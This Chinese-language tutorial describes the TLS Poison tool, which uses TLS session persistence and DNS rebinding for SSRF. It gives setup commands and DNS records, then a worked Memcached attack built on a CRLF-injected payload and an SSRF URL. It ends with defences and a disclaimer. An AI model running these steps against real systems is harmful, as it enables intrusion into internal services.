TLS Poison:探索TLS会话持久性如何彻底改变SSRF攻击格局
TLS Poison探索TLS会话持久性如何彻底改变SSRF攻击格局【免费下载链接】TLS-poison项目地址: https://gitcode.com/gh_mirrors/tl/TLS-poisonTLS Poison 是一款革命性工具它利用 TLS 会话持久性实现通用的服务器端请求伪造SSRF攻击同时还能通过大多数浏览器中的图像标签实现跨站请求伪造CSRF。与依赖特定实现漏洞的 SNI 注入不同这种新方法利用了 TLS 协议的固有行为为网络安全领域带来了全新的攻击向量。 什么是TLS会话持久性TLS 会话持久性是 TLS 协议的一项核心功能旨在通过复用已建立的加密会话来提高性能。正常情况下这一机制帮助客户端和服务器避免重复进行耗时的握手过程。然而TLS Poison 创新性地利用了这一特性通过精心设计的会话操纵技术将原本用于优化通信的功能转化为攻击工具。 传统SSRF攻击的局限性传统的 SSRF 攻击往往依赖特定协议如 Gopher或应用程序解析漏洞这些方法在现代系统中越来越难以奏效许多应用程序已禁用对非标准协议的支持URL 解析器的安全加固使得传统注入技术失效网络隔离和防火墙规则进一步限制了攻击面TLS Poison 通过利用 TLS 协议的底层机制突破了这些限制实现了更隐蔽、更通用的攻击方式。 TLS Poison的工作原理TLS Poison 结合了 DNS 重绑定和 TLS 会话操纵技术创造出一种新型攻击链初始连接阶段目标服务器与攻击者控制的 TLS 服务器建立加密会话会话持久性利用攻击者保存并操纵该 TLS 会话状态DNS重绑定通过 DNS 重绑定技术将域名解析从外部服务器切换到内部目标会话复用攻击利用持久化的 TLS 会话与内部服务建立连接实现 SSRF这种方法的精妙之处在于它不依赖任何特定软件的漏洞而是利用了 TLS 协议本身的设计特性使其具有广泛的适用性。️ 快速上手TLS Poison安装指南准备工作你需要一个可以设置 NS 记录的域名。虽然有一些免费的子域名提供商可能适用但建议使用专用的顶级域名以确保稳定性。安装TLS服务器# 安装依赖 sudo apt install git redis git clone https://gitcode.com/gh_mirrors/tl/TLS-poison # 安装Rust curl --proto https --tlsv1.2 -sSf https://sh.rustup.rs | sh cd TLS-poison/client-hello-poisoning/custom-tls # 构建项目 cargo build # 测试服务器 target/debug/custom-tls -p 8443 --verbose --certs ../../rustls/test-ca/rsa/end.fullchain --key ../../rustls/test-ca/rsa/end.rsa http配置DNS重绑定服务器sudo apt install python3 python3-pip git clone https://gitcode.com/gh_mirrors/tl/TLS-poison cd TLS-poison/client-hello-poisoning/custom-dns pip3 install -r requirements.txt # 启动DNS重绑定服务器 sudo python3 alternate-dns.py $DOMAIN,$TARGET_IP -b 0.0.0.0 -t $INITIAL_IP -d 8.8.8.8设置NS记录和证书在你的域名管理界面添加以下DNS记录dns.example.com A 300 DNS_IP tlstest.example.com NS 300 dns.example.com然后使用Certbot获取TLS证书并重新启动TLS服务器target/debug/custom-tls -p 8443 --verbose --certs letsencrypt-cert.fullchain --key letsencrypt-key.rsa http 实际应用场景Memcached攻击示例Memcached是一个常见的未授权内部服务通过TLS Poison可以轻松对其进行攻击redis-cli 127.0.0.1:6379 set payload \r\nset foo 0 0 14\r\nim in ur cache \r # 启动针对Memcached的TLS服务器 target/debug/custom-tls -p 11211 --verbose --certs ../../rustls/test-ca/rsa/end.fullchain --key ../../rustls/test-ca/rsa/end.rsa http然后将https://tlstest.example.com:11211作为SSRF payload提供给目标系统即可实现对内部Memcached服务的攻击。⚠️ 防御建议面对TLS Poison这类利用协议特性的攻击传统的防御措施可能不再有效。以下是一些针对性的防御建议限制TLS会话复用减少会话超时时间降低会话被复用的风险实施严格的域名验证在建立TLS连接时验证域名与IP的绑定关系网络隔离将关键内部服务与外部网络严格隔离流量监控监控异常的TLS会话行为特别是跨IP的会话复用及时更新保持TLS库和依赖组件的最新状态 进一步学习资源项目源码client-hello-poisoning/custom-tls/src/main.rsDNS重绑定实现client-hello-poisoning/custom-dns/alternate-dns.py测试CA证书rustls/test-ca/TLS Poison 代表了一种新型的网络攻击思路它不再依赖特定软件的漏洞而是利用协议本身的设计特性。对于安全研究者和网络防御者来说理解这类攻击技术至关重要只有这样才能在不断演变的网络安全 landscape 中保持主动。记住技术本身是中性的关键在于如何使用它。本文仅用于教育目的请勿在未获得授权的情况下测试任何系统。【免费下载链接】TLS-poison项目地址: https://gitcode.com/gh_mirrors/tl/TLS-poison创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考